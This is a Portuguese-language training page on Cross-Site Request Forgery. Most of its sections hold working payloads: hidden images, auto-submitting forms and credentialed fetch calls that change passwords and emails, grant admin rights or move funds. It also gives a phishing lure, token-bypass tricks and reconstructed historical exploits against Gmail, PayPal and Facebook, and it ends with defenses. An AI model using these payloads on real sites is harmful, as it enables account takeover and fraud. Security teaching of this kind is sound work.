Cross-Site Request Forgery
Explorar relações de confiança entre navegadores e aplicações
O que você vai descobrir
🎯 Por que isso importa
O Cross-Site Request Forgery explora a confiança fundamental que as aplicações web depositam nos navegadores de usuários autenticados. Diferente de outros ataques que visam vulnerabilidades específicas, o CSRF aproveita como os navegadores incluem automaticamente cookies de autenticação nas requisições. Isso o torna particularmente perigoso porque os usuários podem ser enganados a realizar ações que nunca pretendiam, sem qualquer indicação visível de que um ataque ocorreu.
🔍 O que você vai aprender
Você entenderá a mecânica dos ataques CSRF e como identificar endpoints vulneráveis sem proteção adequada. Isso inclui criar exploits baseados em GET e POST, contornar tokens CSRF fracos e combinar técnicas de engenharia social com exploração técnica — a mesma abordagem sistemática usada por especialistas em segurança em avaliações reais.
🚀 Sua primeira vitória
Nos próximos 15 minutos, você executará com sucesso um ataque CSRF que altera a senha de um administrador enganando-o a visitar uma página web maliciosa, demonstrando como funcionalidades críticas de negócio podem ser comprometidas através da exploração de confiança.
🔧 Experimente agora
Crie uma prova de conceito CSRF que demonstra como a confiança do navegador pode ser explorada
# CSRF baseado em GET (imagem oculta)
<img src="http://<target>/admin/delete_user?id=123" style="display:none">
# CSRF baseado em POST (formulário auto-submetido)
<form id="csrf" action="http://<target>/change_password" method="POST">
<input type="hidden" name="new_password" value="hacked123">
</form>
<script>document.getElementById('csrf').submit();</script>
# Cadeia de ataque CSRF multi-etapas
<img src="http://<target>/admin/change_email?email=attacker@evil.com">
<img src="http://<target>/admin/reset_password">
# Entrega por engenharia social
# Assunto: "Urgente: Clique aqui para verificar sua conta"
# Link leva a página contendo formulários CSRF ocultos
Você verá: Como os navegadores incluem automaticamente cookies de autenticação nas requisições, fazendo os usuários executarem involuntariamente ações em sites onde estão logados. Esse comportamento fundamental do navegador é o que torna os ataques CSRF tão eficazes.
Habilidades que você vai dominar
✅ Compreensão fundamental
- Mecânicas de autenticação do navegador e comportamento de cookies
- Implicações da política de mesma origem para requisições cross-site
- Vetores de ataque CSRF e técnicas de exploração
- Falhas de validação de tokens e métodos de bypass
🔍 Habilidades avançadas
- Integração de engenharia social com ataques técnicos
- Criação de payloads de ataque para diferentes contextos
- Análise de headers de segurança e técnicas de bypass
- Implementação de defesas e metodologias de teste
Entendendo a mecânica de ataques CSRF
O CSRF funciona explorando a inclusão automática de cookies de autenticação em requisições cross-site
O ataque funciona porque os navegadores incluem automaticamente cookies ao fazer requisições para qualquer domínio, independentemente de onde a requisição se origina. Quando um usuário visita um site malicioso enquanto está autenticado em uma aplicação alvo, o navegador diligentemente envia seus cookies de sessão, fazendo a requisição forjada parecer legítima para o servidor.
Fluxo do ataque
A sequência de eventos em um ataque CSRF
1. Usuário faz login em target.com
2. Usuário visita evil.com (ainda logado)
3. evil.com dispara requisição para target.com
4. Navegador inclui cookies de target.com
5. target.com processa como requisição legítima
Alvos comuns
Operações vulneráveis à exploração CSRF
Alterações de senha
Atualizações de email
Modificações de privilégios de usuário
Transações financeiras
Alterações de configurações de conta
Operações do painel administrativo
Métodos de detecção
Como identificar vulnerabilidades CSRF
Tokens CSRF ausentes
Validação de token fraca
Requisições GET para mudanças de estado
Verificação opcional de token
Padrões de token previsíveis
Ferramentas e técnicas
Ataques CSRF dependem mais da compreensão do comportamento do navegador e engenharia social do que de ferramentas especializadas, tornando esta uma técnica que separa especialistas em segurança criteriosos de testadores dependentes de ferramentas.
CSRF baseado em GET: a abordagem mais simples
Ataques CSRF baseados em GET são os mais fáceis de executar e frequentemente os mais eficazes porque podem ser disparados através de elementos HTML como imagens ou iframes.
Técnicas de exploração de requisições GET
# CSRF por tag de imagem (mais comum)
<img src="http://<target>/admin/delete_user?id=123" style="display:none">
# Múltiplas ações em uma única página
<img src="http://<target>/admin/change_password?new_pass=hacked123" style="display:none">
<img src="http://<target>/admin/add_user?username=attacker&role=admin" style="display:none">
# CSRF baseado em link
<a href="http://<target>/admin/transfer_funds?amount=10000&to=attacker_account">
Clique aqui para seu presente grátis!</a>
# CSRF baseado em iframe (carrega invisivelmente)
<iframe src="http://<target>/admin/grant_privileges?user=attacker"
style="display:none"></iframe>
# Requisições disparadas por JavaScript
<script>
fetch('http://<target>/api/change_email?email=attacker@evil.com',
{credentials: 'include'});
</script>
Essas técnicas funcionam porque os navegadores incluem automaticamente cookies para o domínio alvo, independentemente de onde a requisição se origina — a falha fundamental que o CSRF explora.
CSRF baseado em POST: ataques avançados por formulário
Ataques baseados em POST requerem formulários, mas são frequentemente mais eficazes contra aplicações modernas que evitam corretamente requisições GET para operações que alteram estado.
Técnicas de ataque por formulário
# Formulário auto-submetido (executa imediatamente)
<form id="csrf-attack" action="http://<target>/admin/change_email" method="POST">
<input type="hidden" name="new_email" value="attacker@evil.com">
<input type="hidden" name="confirm" value="yes">
</form>
<script>document.getElementById('csrf-attack').submit();</script>
# Formulário disparado pelo usuário (requer clique)
<form action="http://<target>/admin/change_password" method="POST">
<input type="hidden" name="new_password" value="hacked123">
<input type="submit" value="Resgate seu prêmio grátis!">
</form>
# Requisição POST AJAX
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://<target>/api/update_profile', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.withCredentials = true;
xhr.send('email=attacker@evil.com&phone=555-HACK');
</script>
# CSRF em API JSON (se CORS permitir)
fetch('http://<target>/api/user/update', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({role: 'admin', user_id: 123})
});
Ataques POST podem modificar estruturas de dados complexas e disparar operações multi-etapas, tornando-os particularmente perigosos para funções administrativas.
Bypass de token: derrotando proteções fracas
Muitas aplicações implementam tokens CSRF incorretamente, criando oportunidades de bypass que especialistas em segurança podem explorar sistematicamente.
Fraquezas de validação de token
# Falhas comuns de implementação de token CSRF
# 1. Validação opcional de token (apenas omita o token)
if (isset($_POST['csrf_token'])) {
validate_csrf($_POST['csrf_token']);
}
# Bypass: Não incluir parâmetro csrf_token
# 2. Aceitação de token vazio
if ($_POST['csrf_token'] != "") {
validate_csrf($_POST['csrf_token']);
}
# Bypass: csrf_token=""
# 3. Qualquer token válido aceito (não vinculado à sessão)
if (in_array($_POST['csrf_token'], $valid_tokens)) {
// Processar requisição
}
# Bypass: Usar qualquer token válido visto anteriormente
# 4. Validação insensível a maiúsculas/minúsculas
if (strtolower($submitted) == strtolower($expected))
# Bypass: Alterar caixa do token válido
# 5. Geração de token previsível
$token = md5($user_id . date('Y-m-d'));
# Bypass: Gerar token esperado usando padrão conhecido
Entender essas falhas comuns de implementação permite que especialistas em segurança testem sistematicamente a proteção CSRF e identifiquem bypasses que ferramentas automatizadas não detectam.
Cenários de ataque do mundo real
Esses cenários são baseados em vulnerabilidades CSRF reais documentadas descobertas em plataformas importantes, demonstrando o impacto real e as técnicas usadas por pesquisadores de segurança e atacantes.
Sequestro de filtros de email do Gmail (2007, GNUCITIZEN)
O primeiro grande ataque CSRF no Gmail permitiu que atacantes criassem filtros de email persistentes que encaminhavam todos os emails com anexos para a conta do atacante. Descoberto por GNUCITIZEN (pdp) e posteriormente usado no sequestro real do domínio de David Airey .
# Payload de ataque real da pesquisa GNUCITIZEN
<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf"
enctype="multipart/form-data">
<input type="hidden" name="cf2_emc" value="true"/>
<input type="hidden" name="cf2_email" value="attacker@evil.com"/>
<input type="hidden" name="cf1_from" value=""/>
<input type="hidden" name="cf1_to" value=""/>
<input type="hidden" name="cf1_subj" value=""/>
<input type="hidden" name="cf1_has" value=""/>
<input type="hidden" name="cf1_hasnot" value=""/>
<input type="hidden" name="cf1_attach" value="true"/>
<input type="hidden" name="tfi" value=""/>
<input type="hidden" name="s" value="z"/>
<input type="hidden" name="irf" value="on"/>
<input type="hidden" name="nvp_bu_cftb" value="Create Filter"/>
</form>
<script>
document.forms[0].submit();
</script>
# Impacto: Todos os emails com anexos encaminhados para o atacante
# Usado em sequestros reais de domínios valendo milhares de dólares
Impacto real: Essa técnica foi usada por atacantes iranianos para sequestrar registros de domínios interceptando emails de renovação, como documentado no Web Hacking Incidents Database .
Tomada de conta universal do PayPal (2014, Yasser Ali)
O pesquisador de segurança Yasser Ali descobriu uma vulnerabilidade CSRF crítica afetando toda conta PayPal. A falha permitia que atacantes gerassem um token de autenticação "universal" que funcionava para qualquer usuário, permitindo tomada completa de conta com um único clique.
# Passo 1: Gerar token de auth universal (controlado pelo atacante)
# Visitar página de envio de dinheiro do PayPal sem autenticação
# Capturar o token de auth reutilizável da requisição
# Passo 2: Payload CSRF usando token universal
<form action="https://www.paypal.com/cgi-bin/webscr" method="POST">
<input type="hidden" name="cmd" value="_account-settings">
<input type="hidden" name="add_email" value="attacker@evil.com">
<input type="hidden" name="auth" value="[UNIVERSAL_TOKEN]">
</form>
# Passo 3: Alterar perguntas de segurança (bypass de proteção por senha)
<form action="https://www.paypal.com/cgi-bin/webscr" method="POST">
<input type="hidden" name="cmd" value="_set-security-questions">
<input type="hidden" name="question1" value="Quanto é 1+1?">
<input type="hidden" name="answer1" value="2">
<input type="hidden" name="auth" value="[UNIVERSAL_TOKEN]">
</form>
<script>
// Auto-submeter ambos os formulários
document.forms[0].submit();
setTimeout(() => document.forms[1].submit(), 1000);
</script>
Bug Bounty: PayPal concedeu a Ali $10.000 USD por essa descoberta. A vulnerabilidade afetou todas as 156 milhões de contas PayPal na época.
Bypass de confirmação de email do Facebook (2019, Lokesh Kumar)
O caçador de bugs Lokesh Kumar encontrou uma vulnerabilidade CSRF no fluxo OAuth do Facebook que permitia que atacantes verificassem qualquer conta Gmail ou G-Suite no Facebook sem o conhecimento do proprietário do email.
# Passo 1: Forçar login na conta Facebook do atacante
<iframe src="https://www.facebook.com/recover/password/?u=[ATTACKER_UID]&n=[CODE]&ars=one_click_login&fl=one_click_login&spc=1&ocl=1&sih=0"
style="display:none"></iframe>
# Passo 2: Explorar validação CSRF ausente no fluxo OAuth
# Parâmetro state reutilizável da sessão do atacante
<script>
var oauth_url = "https://accounts.google.com/o/oauth2/auth?" +
"client_id=15057814354-80cg059cn49j6kmhhkjam4b00on1gb2n.apps.googleusercontent.com&" +
"state=ARf8Zzq50032sck96TSFssFhWVvMUWO7KEJlq3n3_7Yp73WcWvlpyFn1dpdoUGv5&" +
"response_type=code&" +
"redirect_uri=https://www.facebook.com/oauth2/redirect/&" +
"scope=openid+email&" +
"login_hint=victim@gmail.com";
// Abrir popup OAuth para email da vítima
window.open(oauth_url, '_blank');
</script>
# Passo 3: Logout automático após confirmação
<img src="https://m.facebook.com/logout.php?h=17AfealsadvYomDS"
style="display:none">
# Resultado: Gmail da vítima verificado na conta Facebook do atacante
Bug Bounty: Facebook concedeu a Kumar $3.000 USD por essa vulnerabilidade, que foi corrigida em 31 de maio de 2019.
Contramedidas defensivas
Entender as medidas defensivas ajuda você a identificar implementações fracas durante testes de segurança e fornecer orientação valiosa de remediação para equipes de desenvolvimento.
Padrão de token sincronizador: o padrão ouro
A proteção CSRF mais eficaz usa tokens únicos e imprevisíveis que são vinculados à sessão do usuário e validados em cada requisição que altera estado.
Implementação correta de token
# Geração segura de token (PHP)
session_start();
// Gerar token criptograficamente seguro
if (!isset($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// Validação estrita (todas as requisições)
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($_POST['csrf_token']) ||
!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
http_response_code(403);
die('Falha na validação do token CSRF');
}
}
// Formulário HTML com token
<form method="POST" action="/change_password">
<input type="hidden" name="csrf_token"
value="<?= htmlspecialchars($_SESSION['csrf_token']) ?>">
<input type="password" name="new_password" required>
<input type="submit" value="Alterar senha">
</form>
Melhores práticas de implementação
- Validação obrigatória - Nunca tornar a verificação de token opcional
- Aleatoriedade criptográfica - Usar geradores aleatórios seguros
- Vinculação à sessão - Vincular tokens a sessões de usuário específicas
- Limites de tempo - Regenerar tokens periodicamente
Cookies SameSite: proteção moderna do navegador
Atributos de cookie SameSite fornecem proteção CSRF automática controlando quando os navegadores incluem cookies em requisições cross-site.
Configuração SameSite
# SameSite Strict (proteção máxima)
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly
# SameSite Lax (proteção equilibrada)
Set-Cookie: sessionid=abc123; SameSite=Lax; Secure; HttpOnly
# Opções SameSite explicadas:
# Strict: Cookie nunca enviado em requisições cross-site
# Lax: Cookie enviado apenas em navegação de nível superior (padrão)
# None: Cookie sempre enviado (requer flag Secure)
# Implementação PHP
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'domain' => '.example.com',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict'
]);
# Node.js com Express
app.use(session({
cookie: {
sameSite: 'strict',
secure: true,
httpOnly: true
}
}));
🎯 Você domina CSRF!
Você agora entende como explorar a relação de confiança entre navegadores e aplicações web usando Cross-Site Request Forgery. Você pode identificar endpoints vulneráveis, criar ataques eficazes e implementar contramedidas defensivas adequadas usando a mesma abordagem sistemática em que especialistas em segurança confiam.
Pronto para acessar redes internas e serviços em nuvem